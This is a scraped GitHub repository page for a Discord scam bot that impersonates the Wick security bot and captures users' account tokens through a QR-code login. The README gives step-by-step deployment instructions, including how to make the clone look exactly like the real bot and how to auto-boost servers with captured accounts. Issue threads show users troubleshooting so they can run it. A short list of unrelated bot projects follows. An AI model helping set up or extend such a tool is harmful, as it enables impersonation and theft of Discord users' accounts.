Wick Discord scam bot that uses a QR Code logger to grab Discord tokens

Overview

Wick Scam Bot

Wick Discord scam bot that grabs tokens via a QR Code.
Make sure to star this project !

This project is for Educational Purposes ONLY. This was not meant for malicous use.
When using this Discord Bot, you hold responsibility for any consequences that you occur.

Features

  • Exact Clone (Looks exactly like the real wick bot when set up properly)
  • Modular Design (add commands and events exactly like a real bot. also has a customisable config file)
  • Automatic Boosting (fetches and boosts server instantly when logged. if option selected)

image

Setup

  • Clone Repository gh repo clone ulnk/scam
  • Install Dependencies yarn or npm install
  • Create Bot go to bot dashboard
    • ENABLE ALL PARTIALS AND INTENTS FOR YOUR BOT
    • Without all partials and intents, the bot will not function.
    • Change profile picture to wick.png
    • Change description to
Discord Security Bot made to protect servers from raids, nukes and more things!
https://wickbot.com/
  • Edit config.json file
    • Change the all of the config.json options to your bot .
    • (NOTE: KEEP ALL CHANNELS INSIDE THE SAME GUILD)
  • Add all emojis to server
    • Without, the emojis will be undefined
    • You can select all and drag into the add emojis discord page
    • (NOTE: YOU HAVE TO ADD ALL EMOJI IDS INTO CONFIG.JSON)
  • Start yarn dev or npm run dev
    • if using heroku, make sure you have the start script
Video Explanation

video

Libraries Used

  • discord.js (discord bot) preview badge
  • crypto (private keys & public keys) preview badge
  • ws (web socket) preview badge
  • jimp (image editing for qr code) preview badge
Comments
  • Websocket still not fixed with Videos!

    Websocket still not fixed with Videos!

    Recorded on Mobile crashed 3 times after every 2 mins maybe thats because too many people are trying to verify or something i really dont know but this has to get fixed somehow aint no way i have to restart it every 2 mins https://streamable.com/agyhfr crashed 9 times while i was uploading this video heres the video of the crashes https://streamable.com/f2x11b

    another video caught the bot crashing https://streamable.com/vffoy8

    Picture of a Different issue about discord api or something 20220717_203041

    opened by Mago126 19
  • Error

    Error

    [email protected] start ts-node src/index.ts

    [18:56:19] [*] INTERACTIONCREATE EVENT LOADED (node:1215) ExperimentalWarning: stream/web is an experimental feature. This feature could change at any time (Use node --trace-warnings ... to show where the warning was created) /home/runner/nope/node_modules/discord.js/src/client/Client.js:214 if (!token || typeof token !== 'string') throw new Error(ErrorCodes.TokenInvalid); ^ Error [TokenInvalid]: An invalid token was provided. at Client.login (/home/runner/nope/node_modules/discord.js/src/client/Client.js:214:52) at initialise (/home/runner/nope/src/discord/discordClient.ts:13:10) at Object. (/home/runner/nope/src/index.ts:8:11) at Module._compile (node:internal/modules/cjs/loader:1101:14) at Module.m._compile (/home/runner/nope/node_modules/ts-node/src/index.ts:1618:23)

    opened by kevincrafturu2 5
  • Error with index.ts

    Error with index.ts

    Hi! I had a bug or something, or I do not know what. Help please

    scpuser@scpserv:~/tss/src$ npm run start
    
    > [email protected] start /home/scpuser/tss
    > ts-node src/index.ts
    
    /home/scpuser/tss/node_modules/ts-node/src/index.ts:859
        return new TSError(diagnosticText, diagnosticCodes, diagnostics);
               ^
    { TSError: ⨯ Unable to compile TypeScript:
    src/discord/discordClient.ts:1:18 - error TS2305: Module '"discord.js"' has no exported member 'Partials'.
    
    1 import { Client, Partials } from "discord.js";
                       ~~~~~~~~
    src/discord/discordClient.ts:9:9 - error TS2345: Argument of type '{ intents: number; partials: any[]; allowedMentions: { parse: ("roles" | "users" | "everyone")[]; }; }' is not assignable to parameter of type 'ClientOptions'.
      Object literal may only specify known properties, and 'intents' does not exist in type 'ClientOptions'.
    
    9         intents: 131071,
              ~~~~~~~~~~~~~~~
    
        at createTSError (/home/scpuser/tss/node_modules/ts-node/src/index.ts:859:12)
        at reportTSError (/home/scpuser/tss/node_modules/ts-node/src/index.ts:863:19)
        at getOutput (/home/scpuser/tss/node_modules/ts-node/src/index.ts:1077:36)
        at Object.compile (/home/scpuser/tss/node_modules/ts-node/src/index.ts:1433:41)
        at Module.m._compile (/home/scpuser/tss/node_modules/ts-node/src/index.ts:1617:30)
        at Module._extensions..js (internal/modules/cjs/loader.js:789:10)
        at Object.require.extensions.(anonymous function) [as .ts] (/home/scpuser/tss/node_modules/ts-node/src/index.ts:1621:12)
        at Module.load (internal/modules/cjs/loader.js:653:32)
        at tryModuleLoad (internal/modules/cjs/loader.js:593:12)
        at Function.Module._load (internal/modules/cjs/loader.js:585:3) diagnosticCodes: [ 2305, 2345 ] }
    npm ERR! code ELIFECYCLE
    npm ERR! errno 1
    npm ERR! [email protected] start: `ts-node src/index.ts`
    npm ERR! Exit status 1
    npm ERR! 
    npm ERR! Failed at the [email protected] start script.
    npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
    
    npm ERR! A complete log of this run can be found in:
    npm ERR!     /home/scpuser/.npm/_logs/2022-08-25T11_03_46_187Z-debug.log
    
    opened by TheBogler 3
  • Cant Run

    Cant Run

    C:\Users\henry\Documents\scam-main\scam-main>npm run start npm WARN config global --global, --local are deprecated. Use --location=global instead.

    [email protected] start ts-node src/index.ts

    [12:59:15] [*] INTERACTIONCREATE EVENT LOADED [12:59:15] [*] READY EVENT LOADED [12:59:15] [*] DISCORD BOT LOADED C:\Users\henry\Documents\scam-main\scam-main\node_modules\discord.js\src\client\websocket\WebSocketManager.js:250 throw new Error(unrecoverableErrorCodeMap[error.code]); ^ Error [DisallowedIntents]: Privileged intent provided is not enabled or whitelisted. at WebSocketManager.createShards (C:\Users\henry\Documents\scam-main\scam-main\node_modules\discord.js\src\client\websocket\WebSocketManager.js:250:15) at async Client.login (C:\Users\henry\Documents\scam-main\scam-main\node_modules\discord.js\src\client\Client.js:232:7) { [Symbol(code)]: 15 }

    opened by 7z8y 3
  • WebSocket was closed before the connection was established

    WebSocket was closed before the connection was established

          return abortHandshake(this, this._req, msg);
                 ^
    Error: WebSocket was closed before the connection was established
        at WebSocket.close (C:\Users\Administrator\Downloads\scam-main (1)\scam-main\node_modules\ws\lib\websocket.js:285:14)
        at close (C:\Users\Administrator\Downloads\scam-main (1)\scam-main\src\SocketClient.ts:24:22)
        at Timeout._onTimeout (C:\Users\Administrator\Downloads\scam-main (1)\scam-main\src\SocketClient.ts:42:45)
        at listOnTimeout (node:internal/timers:559:17)
        at processTimers (node:internal/timers:502:7)
    
    opened by ulnk 3
  • Bot crashes after pulling token

    Bot crashes after pulling token

    After the bot pulls the token it crashes and gives this log

    C:\Users\PC\scam\node_modules\@discordjs\rest\src\lib\handlers\SequentialHandler.ts:479
                                    throw new DiscordAPIError(data, 'code' in data ? data.code : data.error, status, method, url, requestData);
              ^
    DiscordAPIError[50013]: Missing Permissions
        at SequentialHandler.runRequest (C:\Users\PC\scam\node_modules\@discordjs\rest\src\lib\handlers\SequentialHandler.ts:479:11)
        at processTicksAndRejections (node:internal/process/task_queues:96:5)
        at async SequentialHandler.queueRequest (C:\Users\PC\scam\node_modules\@discordjs\rest\src\lib\handlers\SequentialHandler.ts:204:11)
        at async REST.request (C:\Users\PC\scam\node_modules\@discordjs\rest\src\lib\REST.ts:341:20)
        at async GuildMemberRoleManager.add (C:\Users\PC\scam\node_modules\discord.js\src\managers\GuildMemberRoleManager.js:129:7) {
      rawError: { message: 'Missing Permissions', code: 50013 },
      code: 50013,
      status: 403,
      method: 'PUT',
      url: 'https://discord.com/api/v10/guilds/1006262692157333655/members/363692233964257292/roles/1006262932960714812',
      requestBody: { files: undefined, json: undefined }
    
    opened by Markusklarcus1 2
  • we need more help with setting it up please

    we need more help with setting it up please

    so whats "mongo_url" i do not understand that thing with echo "token" and "mongo" do i have to put in my discord bot token and mongo api url? if yes i did it and this error code keep popping up

    C:\Users\saidmago\Desktop\scam-main\node_modules\mongoose\lib\connection.js:689 throw new MongooseError('The uri parameter to openUri() must be a ' + ^ MongooseError: The uri parameter to openUri() must be a string, got "undefined". Make sure the first parameter to mongoose.connect() or mongoose.createConnection() is a string. at NativeConnection.Connection.openUri (C:\Users\saidmago\Desktop\scam-main\node_modules\mongoose\lib\connection.js:689:11) at C:\Users\saidmago\Desktop\scam-main\node_modules\mongoose\lib\index.js:378:10 at C:\Users\saidmago\Desktop\scam-main\node_modules\mongoose\lib\helpers\promiseOrCallback.js:32:5 at new Promise () at promiseOrCallback (C:\Users\saidmago\Desktop\scam-main\node_modules\mongoose\lib\helpers\promiseOrCallback.js:31:10) at Mongoose._promiseOrCallback (C:\Users\saidmago\Desktop\scam-main\node_modules\mongoose\lib\index.js:1223:10) at Mongoose.connect (C:\Users\saidmago\Desktop\scam-main\node_modules\mongoose\lib\index.js:377:20) at C:\Users\saidmago\Desktop\scam-main\src\index.ts:11:20 at Object. (C:\Users\saidmago\Desktop\scam-main\src\index.ts:16:3) at Module._compile (node:internal/modules/cjs/loader:1105:14) [nodemon] app crashed - waiting for file changes before starting... image

    opened by Mago126 2
  • Bot Quarantined instantly

    Bot Quarantined instantly

    img

    Bot Quarantined after just testing it out, lol.

    Maybe add some kind of option which makes it possible to use "ephemeral" messages in the guild instead of dming the user, since dming the user gets the bot quarantined.

    opened by DemonMartin 1
  • Add Server joining and boost?

    Add Server joining and boost?

    First capmonster is better haha and second maybe at that people after Scaning it joining a server and boost that server Instead of the Server Where they scaned the qr code and with capmonster or 2 Captcha or something Is it possible Since the problem of solving captcha when you join a server

    opened by WebUwU 1
Owner
ulnk
ulnk#5500
ulnk
A multipurpose bot, a clan bot, a all in one bot. The one bot u need for ur server originally made as Milrato discord Bot and by Tomato6966.

Public Bot and Support Server! Invite the Public Version of this Bot so you don't need to host it by yourself or join my Discord server to get a custo

Tomato6966 472 Dec 25, 2022
A proof-of-ownership Discord bot for SNIP-721 tokens on the Secret Network. Verified owners are given specified roles.

SNIP-721 Proof-of-Ownership Discord Bot A proof-of-ownership Discord bot for SNIP-721 tokens on the Secret Network. Verified owners are given specifie

Kevin K 9 Nov 10, 2022
A bot Similar to the reaction roles discord bot, but free. Written in JavaScript, and uses MongoDB.

Discord Reaction Roles bot About • Features • Installation • Setting Up About An open source reaction roles bot to anyone who needs one in their serve

null 52 Dec 22, 2022
Discord-Bot - You can use the discord bot codes that are updated in every video of the codes I use in the discord bot making series that I have published on my youtube channel.

Discord-Bot You can use the discord bot codes that are updated in every video of the codes I use in the discord bot making series that I have publishe

Umut Bayraktar 114 Jan 3, 2023
When new tokens gets listed on a DEX, bots are able to detect this and be one of the first to buy the token for a low price. This is an example of such bot.

Listing Sniping Bot When a new token gets listed on a DEX, bots are able to detect the PairCreated event emitted from the DEX's factory contract. This

MouseLess.eth 15 Dec 21, 2022
New base bot WhatsApp 🈴 bukan self bot lagi atau buka bot yang bisa di pakai oleh bot sendiri 😎

Installation • Thanks to • Donate Official Group Bot • Settings Instalasi Heroku Buildpack Click the deploy icon below ! > heroku/nodejs > https://g

zeeone 27 Feb 9, 2022
A Discord bot that uses Markov chains :)

About Markov BOT is a Discord bot that uses Markov chains to generate random sentences in the chat. The bot randomly collects messages written by user

BOT 12 Dec 15, 2022
Gitlift Discord Bot is a discord bot which is listening Discord Messages to reply with user gitlift profile and total contributions.

Remoklify - Gitlift Discord Bot Gitlift Discord Bot is a discord bot which is listening Discord Messages to reply with user gitlift profile and total

Remoklify 3 Mar 20, 2022
About Discord bot draft that does not contain ready-made commands, compatible with discord.js v14. Create your own discord bot with this command handler.

discordJS-V14 About Discord bot draft that does not contain ready-made commands, compatible with discord.js v14. Create your own discord bot with this

Umut Bayraktar 36 Dec 28, 2022
The code for the LOL Banner discord bot, a bot that bans anyone for playing league of legends.

LOL-Banner.js The code for the LOL Banner discord bot, a bot that bans anyone for playing League Of Legends. This project was made based off of the me

M'et 17 Aug 2, 2022
Music bot that uses Lavalink for its audio player

Msv Music ?? A Advanced Discord Music Bot Made With Lavalink And Have Many Premium Features with filters and more willl be add soon About Msv Music ??

M s v 36 Jan 4, 2022
null 8 Nov 4, 2022
This bot is a cool Discord bot made in discord.js using Node.JS

Anti-Crosspost Discord Bot This bot is a cool Discord bot made in discord.js using Node.JS. It detects when a user cross-posts a message in multiple c

Muhammad Usman Mithani 4 May 31, 2022
Co-Pilot is a discord Bot designed to be the all-in-one, open-source Discord bot that handles all your server needs.

Welcome to Co-Pilot Bot repo! ?? ?? Co-Pilot (All-in-one Discord Bot) Co-Pilot is a discord Bot designed to be the all-in-one, open-source Discord bot

YMafalha 19 Nov 11, 2022
Ini Adalah Tools Bot WhatsApp,Pengodean Ulang Dari Sc Bot Kanna Bot

Node Modules Belum Selesai Unduh File Bot Lengkap Node Modules Click Here Lord Bot FOR DEPLOY HEROKU USER Instal Buildpack heroku/nodejs https://githu

Creator Lord-Botz 8 Jul 1, 2022
This bot can raise your mood. This bot send joke often our channel for users. Sometimes bot don't work because we have not server for this project...)

Hi, welcome to send-joke-bot telegram bot project ?? What can do this bot ? This bot can raise your mood. This bot send joke often our channel for use

Muhammadamin 5 Sep 26, 2022
A simple & easy2use API for obtaining information about a discord user, discord bot or discord guild and their use for some purpose on websites!

discord-web-api A simple & easy2use API for obtaining information about a discord user, discord bot or discord guild and their use for some purpose on

InvalidLenni 2 Jun 28, 2022
Discord Neura - a Discord bot framework built on discord.js

Discord Neura Description Discord Neura is a Discord bot framework built on discord.js. Features Command Handler, Arguments, Preconditions and Listene

Discord Neura 3 Mar 23, 2022
A discord bot made using discord.js and discord-player

Musx A custom discord bot that can play music in your server ?? Add the bot to your server If you are looking for a music bot for your Discord server

Shashwat Singh 4 Mar 28, 2022